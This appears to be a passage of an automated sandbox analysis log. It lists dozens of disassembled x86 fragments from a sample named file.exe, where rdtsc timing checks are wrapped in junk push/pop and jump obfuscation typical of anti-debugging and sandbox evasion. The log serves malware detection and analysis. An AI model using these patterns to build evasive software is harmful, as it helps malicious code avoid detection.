Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D469F second address: 13D46A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D46A3 second address: 13D472E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F8F34B47B66h 0x0000000c jmp 00007F8F34B47B60h 0x00000011 popad 0x00000012 pop eax 0x00000013 jp 00007F8F34B47B59h 0x00000019 push 00000003h 0x0000001b jmp 00007F8F34B47B5Ch 0x00000020 push 00000000h 0x00000022 mov si, 3E2Ch 0x00000026 push 00000003h 0x00000028 mov dword ptr [ebp+122D354Eh], edx 0x0000002e call 00007F8F34B47B59h 0x00000033 pushad 0x00000034 pushad 0x00000035 jmp 00007F8F34B47B64h 0x0000003a pushad 0x0000003b popad 0x0000003c popad 0x0000003d jl 00007F8F34B47B58h 0x00000043 push edx 0x00000044 pop edx 0x00000045 popad 0x00000046 push eax 0x00000047 push ebx 0x00000048 jp 00007F8F34B47B5Ch 0x0000004e pop ebx 0x0000004f mov eax, dword ptr [esp+04h] 0x00000053 push eax 0x00000054 push edx 0x00000055 jl 00007F8F34B47B58h 0x0000005b push esi 0x0000005c pop esi 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D472E second address: 13D4740 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8F347F9F1Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D4740 second address: 13D4774 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jmp 00007F8F34B47B64h 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jmp 00007F8F34B47B5Dh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D4774 second address: 13D4779 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D4779 second address: 13D47B6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F8F34B47B5Bh 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c jg 00007F8F34B47B5Ch 0x00000012 lea ebx, dword ptr [ebp+124564F6h] 0x00000018 sbb ecx, 782488C4h 0x0000001e xchg eax, ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F8F34B47B60h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D47B6 second address: 13D47BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D47BC second address: 13D47C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D4825 second address: 13D484D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F347F9F1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007F8F347F9F25h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D484D second address: 13D48A0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push edi 0x0000000c call 00007F8F34B47B58h 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], edi 0x00000016 add dword ptr [esp+04h], 00000017h 0x0000001e inc edi 0x0000001f push edi 0x00000020 ret 0x00000021 pop edi 0x00000022 ret 0x00000023 jmp 00007F8F34B47B5Ch 0x00000028 jng 00007F8F34B47B5Bh 0x0000002e sbb cx, 48FFh 0x00000033 push 00000000h 0x00000035 mov edx, 3083246Ch 0x0000003a call 00007F8F34B47B59h 0x0000003f push eax 0x00000040 pushad 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D48A0 second address: 13D48E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F347F9F1Ah 0x00000009 popad 0x0000000a pop eax 0x0000000b push eax 0x0000000c jc 00007F8F347F9F20h 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jmp 00007F8F347F9F26h 0x0000001b mov eax, dword ptr [eax] 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D48E2 second address: 13D48E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D48E6 second address: 13D4913 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F8F347F9F1Ch 0x0000000c jo 00007F8F347F9F16h 0x00000012 popad 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 pushad 0x00000018 jnp 00007F8F347F9F18h 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F8F347F9F1Bh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D4913 second address: 13D4917 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D4917 second address: 13D49D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 mov dword ptr [ebp+122D1B95h], edi 0x0000000e push 00000003h 0x00000010 call 00007F8F347F9F23h 0x00000015 or edx, dword ptr [ebp+122D36E3h] 0x0000001b pop edi 0x0000001c push 00000000h 0x0000001e push 00000003h 0x00000020 push esi 0x00000021 mov ecx, dword ptr [ebp+122D359Fh] 0x00000027 pop esi 0x00000028 push 929D8EE1h 0x0000002d jmp 00007F8F347F9F28h 0x00000032 xor dword ptr [esp], 529D8EE1h 0x00000039 jmp 00007F8F347F9F28h 0x0000003e lea ebx, dword ptr [ebp+124564FFh] 0x00000044 push 00000000h 0x00000046 push esi 0x00000047 call 00007F8F347F9F18h 0x0000004c pop esi 0x0000004d mov dword ptr [esp+04h], esi 0x00000051 add dword ptr [esp+04h], 00000018h 0x00000059 inc esi 0x0000005a push esi 0x0000005b ret 0x0000005c pop esi 0x0000005d ret 0x0000005e mov dword ptr [ebp+122D25C3h], edi 0x00000064 xchg eax, ebx 0x00000065 jmp 00007F8F347F9F27h 0x0000006a push eax 0x0000006b jbe 00007F8F347F9F2Eh 0x00000071 pushad 0x00000072 push eax 0x00000073 push edx 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D4B0F second address: 13D4B4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 add dword ptr [esp], 1BD92144h 0x0000000d jmp 00007F8F34B47B5Fh 0x00000012 lea ebx, dword ptr [ebp+1245650Ah] 0x00000018 mov di, dx 0x0000001b mov ecx, dword ptr [ebp+122D3673h] 0x00000021 xchg eax, ebx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F8F34B47B5Eh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E6631 second address: 13E6637 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E6637 second address: 13E663D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F49C5 second address: 13F49C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F49C9 second address: 13F49CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F49CD second address: 13F49F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jg 00007F8F347F9F16h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F8F347F9F1Fh 0x00000017 js 00007F8F347F9F16h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F27C4 second address: 13F27D9 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8F34B47B5Ch 0x00000008 jng 00007F8F34B47B56h 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F2C84 second address: 13F2C90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F8F347F9F16h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F2C90 second address: 13F2C9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jng 00007F8F34B47B56h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F2C9E second address: 13F2CB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F347F9F1Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F2CB2 second address: 13F2CDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007F8F34B47B6Bh 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F2CDA second address: 13F2CF0 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8F347F9F16h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jne 00007F8F347F9F16h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F3401 second address: 13F341F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8F34B47B56h 0x00000008 jmp 00007F8F34B47B60h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F341F second address: 13F342E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F347F9F1Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F342E second address: 13F343E instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8F34B47B56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F3997 second address: 13F39B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F347F9F1Eh 0x00000007 jmp 00007F8F347F9F1Bh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F39B8 second address: 13F39C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F8F34B47B56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F39C2 second address: 13F39C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F39C6 second address: 13F39CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F39CC second address: 13F39E9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnp 00007F8F347F9F16h 0x00000009 pop edi 0x0000000a jo 00007F8F347F9F18h 0x00000010 push esi 0x00000011 pop esi 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 jl 00007F8F347F9F1Ch 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E7F24 second address: 13E7F28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E7F28 second address: 13E7F2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CA958 second address: 13CA976 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F8F34B47B56h 0x0000000a jmp 00007F8F34B47B64h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F3B9C second address: 13F3BAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F8F347F9F16h 0x0000000a jbe 00007F8F347F9F16h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F408F second address: 13F40B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F34B47B68h 0x00000009 popad 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e jbe 00007F8F34B47B56h 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F40B7 second address: 13F40BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F40BE second address: 13F40E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8F34B47B69h 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F43BF second address: 13F43C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F4540 second address: 13F4562 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F34B47B67h 0x00000009 pop ecx 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F4562 second address: 13F4566 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F4824 second address: 13F482E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F482E second address: 13F4853 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F8F347F9F27h 0x0000000b jnl 00007F8F347F9F16h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F82BA second address: 13F82D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F8F34B47B5Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F82D3 second address: 13F82DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F85ED second address: 13F85F7 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8F34B47B5Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C593E second address: 13C594E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F347F9F1Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FF822 second address: 13FF87C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F8F34B47B64h 0x0000000c jmp 00007F8F34B47B5Ch 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 jne 00007F8F34B47B56h 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c jmp 00007F8F34B47B60h 0x00000021 jmp 00007F8F34B47B65h 0x00000026 popad 0x00000027 popad 0x00000028 push edx 0x00000029 pushad 0x0000002a jng 00007F8F34B47B56h 0x00000030 push edi 0x00000031 pop edi 0x00000032 pushad 0x00000033 popad 0x00000034 popad 0x00000035 push ecx 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FFB8B second address: 13FFB91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FFB91 second address: 13FFB97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FFEEC second address: 13FFEF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1402791 second address: 140279B instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8F34B47B5Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1403503 second address: 1403507 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1403507 second address: 1403517 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14035B9 second address: 14035D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F8F347F9F16h 0x00000009 jbe 00007F8F347F9F16h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push esi 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14035D2 second address: 14035D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14035D8 second address: 1403620 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebx 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007F8F347F9F18h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 jmp 00007F8F347F9F21h 0x0000002a nop 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e pushad 0x0000002f popad 0x00000030 jnc 00007F8F347F9F16h 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1403620 second address: 1403626 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1403626 second address: 140363A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14038A0 second address: 14038A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1403A66 second address: 1403A75 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F347F9F1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1403A75 second address: 1403A7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1403B14 second address: 1403B18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1403B18 second address: 1403B28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140418F second address: 1404193 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140541B second address: 140542E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pushad 0x00000006 popad 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a pushad 0x0000000b push edi 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140542E second address: 1405432 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14067A4 second address: 14067A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14067A8 second address: 14067AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14072B3 second address: 14072D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F34B47B66h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jc 00007F8F34B47B64h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14072D8 second address: 14072DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1408809 second address: 140880F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140880F second address: 1408814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1407B6E second address: 1407B7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F8F34B47B5Ah 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14085A4 second address: 14085AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140C0E8 second address: 140C0EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140C0EE second address: 140C111 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jnl 00007F8F347F9F27h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
